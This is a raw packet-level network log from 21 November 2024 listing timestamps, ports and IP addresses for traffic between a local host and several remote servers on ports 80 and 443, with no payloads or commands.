Nov 21, 2024 07:10:27.939408064 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.939440012 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.939466000 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.939466000 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.939505100 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.939506054 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.939521074 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.941653967 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.941677094 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.941747904 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.941865921 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.941879988 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.947706938 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.947741985 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.947765112 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.947794914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.956114054 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.956168890 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.956175089 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.956226110 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.964457035 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.964514017 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.964637041 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.964682102 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.972848892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.972910881 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.972955942 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.973012924 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.981342077 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.981383085 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.981425047 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.983191013 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.988959074 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.989078999 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.989156008 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.989284039 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.996634960 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.996720076 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.996797085 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.996862888 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.000742912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.039696932 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.039771080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.101275921 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.101341009 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.101387978 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.101620913 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.101643085 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.101655960 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.101661921 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.104499102 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.104537010 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.104604006 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.104733944 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.104749918 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.121773958 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.121850967 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.121922970 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.121982098 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.124269009 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.124329090 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.124408007 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.124471903 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.129282951 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.129345894 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.129414082 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.129466057 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.134332895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.134388924 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.134406090 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.134460926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.139357090 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.139395952 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.139421940 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.139462948 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.144350052 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.144409895 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.144438028 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.144490957 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.149281979 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.149342060 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.149414062 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.149477005 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.154378891 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.154414892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.154437065 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.154469967 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.159311056 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.159389973 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.159395933 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.159440041 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.164292097 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.164369106 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.164383888 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.164446115 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.169286013 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.169346094 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.169419050 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.169470072 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.174326897 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.174424887 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.174442053 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.174478054 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.178117037 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.178170919 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.178178072 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.178231001 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.181907892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.181962013 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.182018042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.182069063 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.185765028 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.185816050 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.185833931 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.185862064 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.189605951 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.189661980 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.338932037 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339019060 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339056015 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339092970 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339106083 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339145899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339158058 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339204073 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339214087 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339248896 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339282036 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339287043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339287043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339339972 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339360952 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339395046 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.339405060 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339431047 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.339449883 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.339468002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339484930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.339500904 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339520931 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339560986 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339605093 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339664936 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.339709044 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.339760065 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.341670036 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.341717958 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.341768980 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.342277050 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.342291117 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.342299938 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.342305899 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.342926025 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.342984915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.343063116 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.343133926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.344789028 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.346359015 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.346422911 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.346432924 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.346468925 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.349754095 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.349821091 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.349927902 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.349987030 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.351650000 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.351680994 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.351751089 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.351880074 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:28.351895094 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:28.353122950 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.353178024 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.353266001 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.353331089 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.356566906 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.356620073 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.356625080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.356726885 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.359867096 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.359930992 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.359941006 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.359992981 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.363295078 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.363349915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.363467932 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.363533974 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.366683006 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.366779089 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.366780996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.366831064 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.370050907 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.370105028 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.370264053 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.370313883 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.373429060 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.373481989 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.373487949 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.373529911 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.376801968 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.376862049 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.376930952 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.376979113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.380202055 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.380269051 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.380351067 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.380404949 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.383536100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.383585930 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.383670092 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.383732080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.386964083 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.387023926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.387058020 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.387134075 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.390331984 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.390386105 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.390394926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.390445948 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.393692017 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.393749952 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.393820047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.393874884 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.397089005 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.397154093 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.397205114 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.397263050 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.400449038 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.400501966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.400510073 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.400579929 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.403913021 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.403964996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.403980970 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.404050112 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.464330912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.524534941 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.524704933 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.524873018 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.524873018 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.525959015 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.526026964 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.526154041 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.526215076 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.528724909 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.528786898 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.528862000 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.528920889 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.531513929 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.531572104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.531589031 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.531641006 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.534348965 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.534449100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.534461021 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.534506083 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.537095070 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.537159920 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.537215948 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.537275076 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.539880991 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.539932013 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.539942026 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.539987087 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.542685032 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.542747974 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.542809963 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.542870045 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.545485973 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.545542002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.545548916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.545605898 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.548240900 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.548300028 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.548387051 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.548552990 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.551029921 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.551094055 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.551167011 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.551225901 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.553860903 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.553914070 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.553920984 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.553971052 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.556642056 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.556699991 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.556734085 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.556790113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.559410095 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.559473038 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.559533119 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.559591055 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.562196016 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.562252998 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.562315941 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.562381983 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.564970016 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.565027952 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.565100908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.565156937 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.567811966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.567908049 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.567912102 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.567970037 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.570547104 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.570621014 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.570655107 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.570710897 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.573347092 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.573415995 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.573451996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.573508978 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.576136112 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.576194048 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.576281071 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.576338053 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.578974962 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.579075098 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.579082966 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.579129934 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.581712961 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.581780910 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.581815004 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.581871033 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.584533930 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.584594011 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.584638119 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.584692001 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.587289095 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.587344885 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.587409973 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.587469101 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.590080976 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.590140104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.590212107 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.590265989 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.592884064 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.592940092 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.592972040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.593024969 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.595680952 CET	80	49810	185.215.113.16	192.168.2.4
